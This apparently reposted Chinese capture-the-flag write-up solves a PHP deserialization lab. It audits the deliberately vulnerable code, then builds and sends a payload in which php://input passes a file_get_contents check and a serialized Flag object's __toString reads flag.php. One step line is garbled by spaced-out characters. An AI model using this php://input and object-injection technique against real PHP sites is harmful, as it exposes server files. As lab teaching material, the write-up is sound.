6.level6-[本地复现]-[file_get_conents]-[php://input伪协议]-爱代码爱编程
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
PHP反序列化漏洞
level6-[本地复现]-[file_get_conents]-[php://input伪协议]
1.题目描述
<?php
error_reporting(0);
include("flag.php");
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$txt = $_GET["txt"];
$password = $_GET["password"];
if(!isset($txt)){
show_source(__FILE__);
exit();
}
if(file_get_contents($txt,'r')==="welcome to the aegis"){
echo "hello friend!<br>";
$password = unserialize($password);
echo $password;
}else{
echo "something wrong! try it again";
}
2.代码审计
通读代码:
<?php
error_reporting(0); // 关闭所有PHP错误报告
include("flag.php"); // 文件包含flag.php,也就是提示我们flag存储在flag.php页面内,猜测是注释内容
class Flag{ // 定义一个以Flag为名的类
public $file; // 定义一个以file为名的公有属性
public function __tostring(){ // 定义一个公有的魔术方法,
// 当前类的实例化对象被当做字符串的时候,自动被调用
if(isset($this->file)){ // 判断file属性是否被声明,它的值是否为NULL
echo file_get_contents($this->file); // 若被定义了,且值不为NULL,
// 则把整个文件的内容读入字符串
echo "<br>"; // 输出换行
return ("good"); // 返回good
}
}
}
$txt = $_GET["txt"]; // 把用户以GET形式提交的txt参数值赋值给变量txt
$password = $_GET["password"];// 把用户以GET形式提交的password参数值赋值给password变量
if(!isset($txt)){ // 判断txt变量是否被声明且不为NULL
show_source(__FILE__); // 若没有声明或值为NULL,则高亮显示当前页面源码
exit(); // 输出一个空消息并且退出当前脚本行
}
if(file_get_contents($txt,'r')==="welcome to the aegis"){ // 判断是否全等
echo "hello friend!<br>"; // 全等,则输出hello friend
$password = unserialize($password); // 反序列化password值
echo $password; // 打印password,很明显这里可以触发tostring
}else{ // 若不全等:
echo "something wrong! try it again";// something wrong! try it again
}
按序,分析所得:
- flag值可能存在于flag.php的页面的注释内:
- Flag类有一个魔术方法tostring,功能是把以file属性名的文件读入字符串,并且打印出来(很明显,我们可以通过把flag.php赋值给file属性,然后再调用该魔术方法,即可的到flag)
- 需要以GET形式传入参数值给txt变量且值不能为NULL,之后会经过file_get_content的读取后,判断是否全等于welcome to the aegis。(很明显,我们并不知道什么文件的内容是为welcome to the aegis,但是我们有一个奇技淫巧:就是把这个文件吗替换为php://input伪协议,那么file_get_contents就会把POST提交的内容读入字符串,那么这样我们就可以很简单地让这个字符串全等于welcome to the aegis了)【这一步,就相当于一个绕过过滤了】
- 需要以GET形式传入参数值给password变量且不为NULL,再经过上一步的考验后,会反序列化password变量的值,再打印出该值(很明显,如果我们传入当前类的实例化对象的序列化字符串,那么在后台经过反序列化和输出后,就会自然而然地调用tostring魔术方法,那么很明显就会和上面分析得到flag值得方法不谋而合了)
反序列化四要素,分析所得:
- 后台存在反序列化函数
- 后台存在不正当使用魔术方法的行为
- 后台存在echo file_get_contents($this->file);
- 用户对于传入的反序列化内容可控,或者说可以绕过过滤
3.解题过程
第一步:分析流程
- 要想得到flag值–>需要读flag.php页面的源码
- 要想读flag.php页面的源码–>需要执行file_get_contents($this->file)(很明显,需要执行该函数,且file属性值为flag.php)
- 要想执行file_get_contents($this->file)函数–>需要执行tostring魔术方法
- 要想执行tostring魔术方法–>需要当前类的实例化对象被当做字符串处理
- 要想当前类的实例化对象被当做字符串处理–>需要执行 p a s s w o r d = u n s e r i a l i z e ( password = unserialize( password=unserialize(password);echo $password;
- 要想执行上一步的代码–>需要对传入的txt参数进行绕过过滤
- 要想绕过过滤–>需要给txt传入php://input伪协议,同时以POST形式提交数据welcome to the aegis
第二步:根据以上步骤构造payload
<?php
class Flag{
public $file='flag.php';
}
$chen = new Flag();
echo serialize($chen);
//序列化字符串结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//以GET形式提交的数据:?txt=php://input&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//同时以POST提交的数据:welcome to the aegis
第三步:传入payload,读取flag值
GET内容:
?txt=php://input&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
POST内容:
welcome to the aegis
附:修改BurpsuiteHTTP包的字体大小的方法
4.总结
- 官方功能:file_get_contents()函数把整个文件读入到字符串
- 通俗的说:file_get_contents()是用来把文件的内容或POST数据读入到字符串中
- file_get_conents($file)函数的功能:把以file参数为名的整个文件内容读入字符串
- file_get_contents(php://input)函数功能:把以POST提交的数据读入字符串(php://input起到了一个桥梁的作用)(也就是php://input读POST数据,而php://input又被file_get_contents()函数读)